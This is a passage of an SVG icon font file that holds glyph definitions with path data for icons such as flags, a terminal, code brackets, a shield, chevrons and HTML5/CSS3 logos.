h96q16 0 16 -16zM896 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1280 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1152 880v-96
q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 880v-352q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h112v240q0 16 16 16h96q16 0 16 -16zM1792 128v896h-1664v-896
h1664zM1920 1024v-896q0 -53 -37.5 -90.5t-90.5 -37.5h-1664q-53 0 -90.5 37.5t-37.5 90.5v896q0 53 37.5 90.5t90.5 37.5h1664q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="flag_alt" unicode="&#xf11d;" horiz-adv-x="1792" 
d="M1664 491v616q-169 -91 -306 -91q-82 0 -145 32q-100 49 -184 76.5t-178 27.5q-173 0 -403 -127v-599q245 113 433 113q55 0 103.5 -7.5t98 -26t77 -31t82.5 -39.5l28 -14q44 -22 101 -22q120 0 293 92zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9
h-64q-14 0 -23 9t-9 23v1266q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102
q-15 -9 -33 -9q-16 0 -32 8q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="flag_checkered" unicode="&#xf11e;" horiz-adv-x="1792" 
d="M832 536v192q-181 -16 -384 -117v-185q205 96 384 110zM832 954v197q-172 -8 -384 -126v-189q215 111 384 118zM1664 491v184q-235 -116 -384 -71v224q-20 6 -39 15q-5 3 -33 17t-34.5 17t-31.5 15t-34.5 15.5t-32.5 13t-36 12.5t-35 8.5t-39.5 7.5t-39.5 4t-44 2
q-23 0 -49 -3v-222h19q102 0 192.5 -29t197.5 -82q19 -9 39 -15v-188q42 -17 91 -17q120 0 293 92zM1664 918v189q-169 -91 -306 -91q-45 0 -78 8v-196q148 -42 384 90zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v1266
q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102q-15 -9 -33 -9q-16 0 -32 8
q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="terminal" unicode="&#xf120;" horiz-adv-x="1664" 
d="M585 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23zM1664 96v-64q0 -14 -9 -23t-23 -9h-960q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h960q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="code" unicode="&#xf121;" horiz-adv-x="1920" 
d="M617 137l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23zM1208 1204l-373 -1291q-4 -13 -15.5 -19.5t-23.5 -2.5l-62 17q-13 4 -19.5 15.5t-2.5 24.5
l373 1291q4 13 15.5 19.5t23.5 2.5l62 -17q13 -4 19.5 -15.5t2.5 -24.5zM1865 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23z" />
    <glyph glyph-name="reply_all" unicode="&#xf122;" horiz-adv-x="1792" 
d="M640 454v-70q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-69l-397 -398q-19 -19 -19 -45t19 -45zM1792 416q0 -58 -17 -133.5t-38.5 -138t-48 -125t-40.5 -90.5l-20 -40q-8 -17 -28 -17q-6 0 -9 1
q-25 8 -23 34q43 400 -106 565q-64 71 -170.5 110.5t-267.5 52.5v-251q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-262q411 -28 599 -221q169 -173 169 -509z" />
    <glyph glyph-name="star_half_empty" unicode="&#xf123;" horiz-adv-x="1664" 
d="M1186 579l257 250l-356 52l-66 10l-30 60l-159 322v-963l59 -31l318 -168l-60 355l-12 66zM1638 841l-363 -354l86 -500q5 -33 -6 -51.5t-34 -18.5q-17 0 -40 12l-449 236l-449 -236q-23 -12 -40 -12q-23 0 -34 18.5t-6 51.5l86 500l-364 354q-32 32 -23 59.5t54 34.5
l502 73l225 455q20 41 49 41q28 0 49 -41l225 -455l502 -73q45 -7 54 -34.5t-24 -59.5z" />
    <glyph glyph-name="location_arrow" unicode="&#xf124;" horiz-adv-x="1408" 
d="M1401 1187l-640 -1280q-17 -35 -57 -35q-5 0 -15 2q-22 5 -35.5 22.5t-13.5 39.5v576h-576q-22 0 -39.5 13.5t-22.5 35.5t4 42t29 30l1280 640q13 7 29 7q27 0 45 -19q15 -14 18.5 -34.5t-6.5 -39.5z" />
    <glyph glyph-name="crop" unicode="&#xf125;" horiz-adv-x="1664" 
d="M557 256h595v595zM512 301l595 595h-595v-595zM1664 224v-192q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v224h-864q-14 0 -23 9t-9 23v864h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224v224q0 14 9 23t23 9h192q14 0 23 -9t9 -23
v-224h851l246 247q10 9 23 9t23 -9q9 -10 9 -23t-9 -23l-247 -246v-851h224q14 0 23 -9t9 -23z" />
    <glyph glyph-name="code_fork" unicode="&#xf126;" horiz-adv-x="1024" 
d="M288 64q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM288 1216q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM928 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1024 1088q0 -52 -26 -96.5t-70 -69.5
q-2 -287 -226 -414q-67 -38 -203 -81q-128 -40 -169.5 -71t-41.5 -100v-26q44 -25 70 -69.5t26 -96.5q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 52 26 96.5t70 69.5v820q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136q0 -52 -26 -96.5t-70 -69.5v-497
q54 26 154 57q55 17 87.5 29.5t70.5 31t59 39.5t40.5 51t28 69.5t8.5 91.5q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="unlink" unicode="&#xf127;" horiz-adv-x="1664" 
d="M439 265l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23zM608 224v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM384 448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23t9 23t23 9h320
q14 0 23 -9t9 -23zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-334 335q-21 21 -42 56l239 18l273 -274q27 -27 68 -27.5t68 26.5l147 146q28 28 28 67q0 40 -28 68l-274 275l18 239q35 -21 56 -42l336 -336q84 -86 84 -204zM1031 1044l-239 -18
l-273 274q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l274 -274l-18 -240q-35 21 -56 42l-336 336q-84 86 -84 204q0 120 85 203l147 146q83 83 203 83q121 0 204 -85l334 -335q21 -21 42 -56zM1664 960q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9
t-9 23t9 23t23 9h320q14 0 23 -9t9 -23zM1120 1504v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM1527 1353l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="question" unicode="&#xf128;" horiz-adv-x="1024" 
d="M704 280v-240q0 -16 -12 -28t-28 -12h-240q-16 0 -28 12t-12 28v240q0 16 12 28t28 12h240q16 0 28 -12t12 -28zM1020 880q0 -54 -15.5 -101t-35 -76.5t-55 -59.5t-57.5 -43.5t-61 -35.5q-41 -23 -68.5 -65t-27.5 -67q0 -17 -12 -32.5t-28 -15.5h-240q-15 0 -25.5 18.5
t-10.5 37.5v45q0 83 65 156.5t143 108.5q59 27 84 56t25 76q0 42 -46.5 74t-107.5 32q-65 0 -108 -29q-35 -25 -107 -115q-13 -16 -31 -16q-12 0 -25 8l-164 125q-13 10 -15.5 25t5.5 28q160 266 464 266q80 0 161 -31t146 -83t106 -127.5t41 -158.5z" />
    <glyph glyph-name="_279" unicode="&#xf129;" horiz-adv-x="640" 
d="M640 192v-128q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64v384h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-576h64q26 0 45 -19t19 -45zM512 1344v-192q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v192
q0 26 19 45t45 19h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="exclamation" unicode="&#xf12a;" horiz-adv-x="640" 
d="M512 288v-224q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v224q0 26 19 45t45 19h256q26 0 45 -19t19 -45zM542 1344l-28 -768q-1 -26 -20.5 -45t-45.5 -19h-256q-26 0 -45.5 19t-20.5 45l-28 768q-1 26 17.5 45t44.5 19h320q26 0 44.5 -19t17.5 -45z" />
    <glyph glyph-name="superscript" unicode="&#xf12b;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1534 846v-206h-514l-3 27q-4 28 -4 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q83 65 188 65q110 0 178 -59.5t68 -158.5q0 -56 -24.5 -103t-62 -76.5t-81.5 -58.5t-82 -50.5
t-65.5 -51.5t-30.5 -63h232v80h126z" />
    <glyph glyph-name="subscript" unicode="&#xf12c;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1536 -50v-206h-514l-4 27q-3 45 -3 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q80 65 188 65q110 0 178 -59.5t68 -158.5q0 -66 -34.5 -118.5t-84 -86t-99.5 -62.5t-87 -63t-41 -73
h232v80h126z" />
    <glyph glyph-name="_283" unicode="&#xf12d;" horiz-adv-x="1920" 
d="M896 128l336 384h-768l-336 -384h768zM1909 1205q15 -34 9.5 -71.5t-30.5 -65.5l-896 -1024q-38 -44 -96 -44h-768q-38 0 -69.5 20.5t-47.5 54.5q-15 34 -9.5 71.5t30.5 65.5l896 1024q38 44 96 44h768q38 0 69.5 -20.5t47.5 -54.5z" />
    <glyph glyph-name="puzzle_piece" unicode="&#xf12e;" horiz-adv-x="1664" 
d="M1664 438q0 -81 -44.5 -135t-123.5 -54q-41 0 -77.5 17.5t-59 38t-56.5 38t-71 17.5q-110 0 -110 -124q0 -39 16 -115t15 -115v-5q-22 0 -33 -1q-34 -3 -97.5 -11.5t-115.5 -13.5t-98 -5q-61 0 -103 26.5t-42 83.5q0 37 17.5 71t38 56.5t38 59t17.5 77.5q0 79 -54 123.5
t-135 44.5q-84 0 -143 -45.5t-59 -127.5q0 -43 15 -83t33.5 -64.5t33.5 -53t15 -50.5q0 -45 -46 -89q-37 -35 -117 -35q-95 0 -245 24q-9 2 -27.5 4t-27.5 4l-13 2q-1 0 -3 1q-2 0 -2 1v1024q2 -1 17.5 -3.5t34 -5t21.5 -3.5q150 -24 245 -24q80 0 117 35q46 44 46 89
q0 22 -15 50.5t-33.5 53t-33.5 64.5t-15 83q0 82 59 127.5t144 45.5q80 0 134 -44.5t54 -123.5q0 -41 -17.5 -77.5t-38 -59t-38 -56.5t-17.5 -71q0 -57 42 -83.5t103 -26.5q64 0 180 15t163 17v-2q-1 -2 -3.5 -17.5t-5 -34t-3.5 -21.5q-24 -150 -24 -245q0 -80 35 -117
q44 -46 89 -46q22 0 50.5 15t53 33.5t64.5 33.5t83 15q82 0 127.5 -59t45.5 -143z" />
    <glyph glyph-name="microphone" unicode="&#xf130;" horiz-adv-x="1152" 
d="M1152 832v-128q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-217 24 -364.5 187.5t-147.5 384.5v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -185 131.5 -316.5t316.5 -131.5
t316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45zM896 1216v-512q0 -132 -94 -226t-226 -94t-226 94t-94 226v512q0 132 94 226t226 94t226 -94t94 -226z" />
    <glyph glyph-name="microphone_off" unicode="&#xf131;" horiz-adv-x="1408" 
d="M271 591l-101 -101q-42 103 -42 214v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -53 15 -113zM1385 1193l-361 -361v-128q0 -132 -94 -226t-226 -94q-55 0 -109 19l-96 -96q97 -51 205 -51q185 0 316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45v-128
q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-125 13 -235 81l-254 -254q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l1234 1234q10 10 23 10t23 -10l82 -82q10 -10 10 -23
t-10 -23zM1005 1325l-621 -621v512q0 132 94 226t226 94q102 0 184.5 -59t116.5 -152z" />
    <glyph glyph-name="shield" unicode="&#xf132;" horiz-adv-x="1280" 
d="M1088 576v640h-448v-1137q119 63 213 137q235 184 235 360zM1280 1344v-768q0 -86 -33.5 -170.5t-83 -150t-118 -127.5t-126.5 -103t-121 -77.5t-89.5 -49.5t-42.5 -20q-12 -6 -26 -6t-26 6q-16 7 -42.5 20t-89.5 49.5t-121 77.5t-126.5 103t-118 127.5t-83 150
t-33.5 170.5v768q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="calendar_empty" unicode="&#xf133;" horiz-adv-x="1664" 
d="M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="fire_extinguisher" unicode="&#xf134;" horiz-adv-x="1408" 
d="M512 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 1376v-320q0 -16 -12 -25q-8 -7 -20 -7q-4 0 -7 1l-448 96q-11 2 -18 11t-7 20h-256v-102q111 -23 183.5 -111t72.5 -203v-800q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v800
q0 106 62.5 190.5t161.5 114.5v111h-32q-59 0 -115 -23.5t-91.5 -53t-66 -66.5t-40.5 -53.5t-14 -24.5q-17 -35 -57 -35q-16 0 -29 7q-23 12 -31.5 37t3.5 49q5 10 14.5 26t37.5 53.5t60.5 70t85 67t108.5 52.5q-25 42 -25 86q0 66 47 113t113 47t113 -47t47 -113
q0 -33 -14 -64h302q0 11 7 20t18 11l448 96q3 1 7 1q12 0 20 -7q12 -9 12 -25z" />
    <glyph glyph-name="rocket" unicode="&#xf135;" horiz-adv-x="1664" 
d="M1440 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1664 1376q0 -249 -75.5 -430.5t-253.5 -360.5q-81 -80 -195 -176l-20 -379q-2 -16 -16 -26l-384 -224q-7 -4 -16 -4q-12 0 -23 9l-64 64q-13 14 -8 32l85 276l-281 281l-276 -85q-3 -1 -9 -1
q-14 0 -23 9l-64 64q-17 19 -5 39l224 384q10 14 26 16l379 20q96 114 176 195q188 187 358 258t431 71q14 0 24 -9.5t10 -22.5z" />
    <glyph glyph-name="maxcdn" unicode="&#xf136;" horiz-adv-x="1792" 
d="M1745 763l-164 -763h-334l178 832q13 56 -15 88q-27 33 -83 33h-169l-204 -953h-334l204 953h-286l-204 -953h-334l204 953l-153 327h1276q101 0 189.5 -40.5t147.5 -113.5q60 -73 81 -168.5t0 -194.5z" />
    <glyph glyph-name="chevron_sign_left" unicode="&#xf137;" 
d="M909 141l102 102q19 19 19 45t-19 45l-307 307l307 307q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_right" unicode="&#xf138;" 
d="M717 141l454 454q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l307 -307l-307 -307q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_up" unicode="&#xf139;" 
d="M1165 397l102 102q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l307 307l307 -307q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_down" unicode="&#xf13a;" 
d="M813 237l454 454q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-307 -307l-307 307q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="html5" unicode="&#xf13b;" horiz-adv-x="1408" 
d="M1130 939l16 175h-884l47 -534h612l-22 -228l-197 -53l-196 53l-13 140h-175l22 -278l362 -100h4v1l359 99l50 544h-644l-15 181h674zM0 1408h1408l-128 -1438l-578 -162l-574 162z" />
    <glyph glyph-name="css3" unicode="&#xf13c;" horiz-adv-x="1792" 
d="M275 1408h1505l-266 -1333l-804 -267l-698 267l71 356h297l-29 -147l422 -161l486 161l68 339h-1208l58 297h1209l38 191h-1208z" />
    <glyph glyph-name="anchor" unicode="&#xf13d;" horiz-adv-x="1792" 
d="M960 1280q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1792 352v-352q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-93 93q-119 -143 -318.5 -226.5t-429.5 -83.5t-429.5 83.5t-318.5 226.5l-93 -93q-9 -9 -23 -9q-4 0 -12 2q-20 8 -20 30v352
q0 14 9 23t23 9h352q22 0 30 -20q8 -19 -7 -35l-100 -100q67 -91 189.5 -153.5t271.5 -82.5v647h-192q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h192v163q-58 34 -93 92.5t-35 128.5q0 106 75 181t181 75t181 -75t75 -181q0 -70 -35 -128.5t-93 -92.5v-163h192q26 0 45 -19
t19 -45v-128q0 -26 -19 -45t-45 -19h-192v-647q149 20 271.5 82.5t189.5 153.5l-100 100q-15 16 -7 35q8 20 30 20h352q14 0 23 -9t9 -23z" />
    <glyph glyph-name="unlock_alt" unicode="&#xf13e;" horiz-adv-x="1152" 
d="M1056 768q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v320q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45q0 106 -75 181t-181 75t-181 -75t-75 -181
v-320h736z" />
    <glyph glyph-name="bullseye" unicode="&#xf140;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM1152 640q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1280 640q0 -212 -150 -362t-362 -150t-362 150
t-150 362t150 362t362 150t362 -150t150 -362zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ellipsis_horizontal" unicode="&#xf141;" horiz-adv-x="1408" 
d="M384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM896 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM1408 800v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ellipsis_vertical" unicode="&#xf142;" horiz-adv-x="384" 
d="M384 288v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 1312v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="_303" unicode="&#xf143;" 
d="M512 256q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM863 162q-13 233 -176.5 396.5t-396.5 176.5q-14 1 -24 -9t-10 -23v-128q0 -13 8.5 -22t21.5 -10q154 -11 264 -121t121 -264q1 -13 10 -21.5t22 -8.5h128
q13 0 23 10t9 24zM1247 161q-5 154 -56 297.5t-139.5 260t-205 205t-260 139.5t-297.5 56q-14 1 -23 -9q-10 -10 -10 -23v-128q0 -13 9 -22t22 -10q204 -7 378 -111.5t278.5 -278.5t111.5 -378q1 -13 10 -22t22 -9h128q13 0 23 10q11 9 9 23zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="play_sign" unicode="&#xf144;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1152 585q32 18 32 55t-32 55l-544 320q-31 19 -64 1q-32 -19 -32 -56v-640q0 -37 32 -56
q16 -8 32 -8q17 0 32 9z" />
    <glyph glyph-name="ticket" unicode="&#xf145;" horiz-adv-x="1792" 
d="M1024 1084l316 -316l-572 -572l-316 316zM813 105l618 618q19 19 19 45t-19 45l-362 362q-18 18 -45 18t-45 -18l-618 -618q-19 -19 -19 -45t19 -45l362 -362q18 -18 45 -18t45 18zM1702 742l-907 -908q-37 -37 -90.5 -37t-90.5 37l-126 126q56 56 56 136t-56 136
t-136 56t-136 -56l-125 126q-37 37 -37 90.5t37 90.5l907 906q37 37 90.5 37t90.5 -37l125 -125q-56 -56 -56 -136t56 -136t136 -56t136 56l126 -125q37 -37 37 -90.5t-37 -90.5z" />
    <glyph glyph-name="minus_sign_alt" unicode="&#xf146;" 
d="M1280 576v128q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h896q26 0 45 19t19 45zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="check_minus" unicode="&#xf147;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h832q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5
t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="level_up" unicode="&#xf148;" horiz-adv-x="1024" 
d="M1018 933q-18 -37 -58 -37h-192v-864q0 -14 -9 -23t-23 -9h-704q-21 0 -29 18q-8 20 4 35l160 192q9 11 25 11h320v640h-192q-40 0 -58 37q-17 37 9 68l320 384q18 22 49 22t49 -22l320 -384q27 -32 9 -68z" />
    <glyph glyph-name="level_down" unicode="&#xf149;" horiz-adv-x="1024" 
d="M32 1280h704q13 0 22.5 -9.5t9.5 -23.5v-863h192q40 0 58 -37t-9 -69l-320 -384q-18 -22 -49 -22t-49 22l-320 384q-26 31 -9 69q18 37 58 37h192v640h-320q-14 0 -25 11l-160 192q-13 14 -4 34q9 19 29 19z" />
    <glyph glyph-name="check_sign" unicode="&#xf14a;" 
d="M685 237l614 614q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-467 -467l-211 211q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l358 -358q19 -19 45 -19t45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5
t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="edit_sign" unicode="&#xf14b;" 
d="M404 428l152 -152l-52 -52h-56v96h-96v56zM818 818q14 -13 -3 -30l-291 -291q-17 -17 -30 -3q-14 13 3 30l291 291q17 17 30 3zM544 128l544 544l-288 288l-544 -544v-288h288zM1152 736l92 92q28 28 28 68t-28 68l-152 152q-28 28 -68 28t-68 -28l-92 -92zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_312" unicode="&#xf14c;" 
